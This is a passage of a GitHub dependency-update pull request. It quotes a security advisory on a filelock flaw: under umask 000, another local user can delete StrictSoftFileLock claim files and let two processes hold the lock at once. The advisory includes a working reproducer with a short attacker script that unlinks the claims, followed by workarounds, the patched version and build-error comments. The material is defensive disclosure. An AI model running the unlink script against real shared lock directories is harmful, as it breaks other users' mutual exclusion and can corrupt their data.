    both_inside = second_says == "entered" and first_says == "leaving, is_locked=True" and first.returncode == 0
    return claims_left, both_inside

##### set up: a shared directory like /tmp, sticky and writable by everyone
shared = tempfile.mkdtemp(prefix="strict-mode-", dir="/tmp")
os.chmod(shared, 0o1777)

##### the two rounds differ only in the umask the victim's processes run with
control_claims_left, control_both_inside = hold_lock_while_attacker_strikes("CONTROL umask 022", shared, 0o022)
attack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes("OBSERVED umask 000", shared, 0o000)
shutil.rmtree(shared)

##### check: with mode=0o600, another user must not be able to let a second process in beside the first
print(f"CONTROL two holders at once: {control_both_inside}")
print(f"OBSERVED two holders at once: {attack_both_inside}")
control_excludes = control_claims_left == 2 and not control_both_inside
print("BUG" if control_excludes and attack_claims_left == 0 and attack_both_inside else "OK")

repro.d/attacker_remove_claims.py

import os
import sys

claims = f"{sys.argv[1]}.filelock/claims"
try:
    names = sorted(os.listdir(claims))
except PermissionError:
    print("listing denied")
    names = []

for name in names:
    try:
        os.unlink(f"{claims}/{name}")
        print(f"unlinked {name}")
    except PermissionError:
        print(f"unlink denied {name}")

repro.d/victim_service.py

import sys

from filelock import StrictSoftFileLock, Timeout

lock = StrictSoftFileLock(sys.argv[1], mode=0o600)
try:
    with lock.acquire(timeout=2):
        print("entered", flush=True)
        sys.stdin.readline()  # stay in the critical section until told to leave
        print(f"leaving, is_locked={lock.is_locked}", flush=True)
except Timeout:
    print("Timeout", flush=True)
Attack sequence
sequenceDiagram
    participant H as holder (umask 000, mode=0o600)
    participant D as x.lock.filelock/claims
    participant X as other local user
    participant C as contender (same account as the holder)
    H->>D: mkdir() both directories: 0777, claims 0600
    H->>D: publish intent and held claims, enter
    X->>D: read claim: EACCES (0600)
    rect rgb(255, 214, 214)
        X->>D: unlink both claims (directory is 0777, not sticky)
        C->>D: acquire(): scan finds no claims, publishes, enters
        Note over H,C: both inside at once
        H->>D: release(): claims missing, counted as removed, exit status 0
    end
    Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout
Loading
Evidence

The scanner's reproducer runs the holder's StrictSoftFileLock(path, mode=0o600) with timeout=2 as account victim (uid 1000) and the unlink loop as account attacker (uid 1001). Both run in a fresh root-owned 1777 directory under /tmp, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.

Under CONTROL umask 022, the directories are 0755, the kernel denies the unlinks, both claims remain, and the second process prints Timeout. Under OBSERVED umask 000, every file is still 0600 but <path>.filelock and claims/ are 0777. The other account prints unlinked held-v1-<token>.claim and unlinked intent-v1-<token>.claim followed by claims left: 0. The second process prints entered. The first process prints leaving, is_locked=True, exit status 0 when asked afterwards. The verdict lines read CONTROL two holders at once: False and OBSERVED two holders at once: True; the overall verdict is BUG. The scanner ran the umask 002 and default-ACL rows of the table by hand at the same commit with the same result.

Our review ran the reproducer against the 4.2.0 release image and the scanned commit (BUG on both) and against the head of #​839 (OK). The review's regression test covers the owner, group-read and group-write modes.

Impact

Another local user who gets a write bit on the claim directories ends a live StrictSoftFileLock hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the 0600 claim files stay unreadable), and it does not affect holders whose directories came out 0755 or tighter.

Workarounds

Run processes that take strict locks with umask 022 or 077. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, chmod 700 (or remove, while no process holds the lock) every existing <path>.filelock tree. Its mode comes from creation time and nothing changes it afterwards: find <dir> -maxdepth 1 -type d -name '*.filelock' -exec chmod -R go-w {} +.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/839

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-AD6SUOON, scanned commit b831496b0273)
  • 2026-10-16 01:31 UTC: fix PR #​839 opened
  • 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L

References

[!IMPORTANT]
✂ PR body was truncated to here.

@renovate
renovate Bot requested a review from edithatogo as a code owner November 10, 2026 01:52
@renovate renovate Bot added the security Security and vulnerability remediation label Nov 10, 2026
@renovate

renovate Bot commented Nov 10, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: paper/reproduction-environment/uv.lock
Using CPython 3.15.1
error: Failed to build `voiage @ file:///tmp/renovate/repos/github/edithatogo/voiage/paper/reproduction-environment`
  cause: The build backend returned an error
  cause: Call to `build_backend.get_requires_for_build_editable` failed (exit status: 1)

         [stderr]
         Traceback (most recent call last):
           File "<string>", line 8, in <module>
             import build_backend as backend
         ModuleNotFoundError: No module named 'build_backend'

hint: This error likely indicates that `voiage` depends on `build_backend`, but doesn't declare it as a build dependency. If `voiage` is a first-party package, consider adding `build_backend` to its `build-system.requires`. Otherwise, either add it to your `pyproject.toml` under:

[tool.uv.extra-build-dependencies]
voiage = ["build_backend"]

or `uv pip install build_backend` into the environment and re-run with `--no-build-isolation`.

File name: paper/reproduction-environment/python315/uv.lock
Using CPython 3.15.1
error: Failed to build `voiage @ file:///tmp/renovate/repos/github/edithatogo/voiage/paper/reproduction-environment/python315`
  cause: The build backend returned an error
  cause: Call to `build_backend.get_requires_for_build_editable` failed (exit status: 1)

         [stderr]
         Traceback (most recent call last):
           File "<string>", line 8, in <module>
             import build_backend as backend
         ModuleNotFoundError: No module named 'build_backend'

hint: This error likely indicates that `voiage` depends on `build_backend`, but doesn't declare it as a build dependency. If `voiage` is a first-party package, consider adding `build_backend` to its `build-system.requires`. Otherwise, either add it to your `pyproject.toml` under:

[tool.uv.extra-build-dependencies]
voiage = ["build_backend"]

or `uv pip install build_backend` into the environment and re-run with `--no-build-isolation`.

@codecov

codecov Bot commented Nov 10, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

@renovate
renovate Bot force-pushed the renovate/pypi-filelock-vulnerability branch 3 times, most recently from b6b535e to 51e0e6f Compare November 13, 2026 10:52
@renovate
renovate Bot force-pushed the renovate/pypi-filelock-vulnerability branch from 51e0e6f to be7509d Compare November 13, 2026 12:11

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

security Security and vulnerability remediation

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants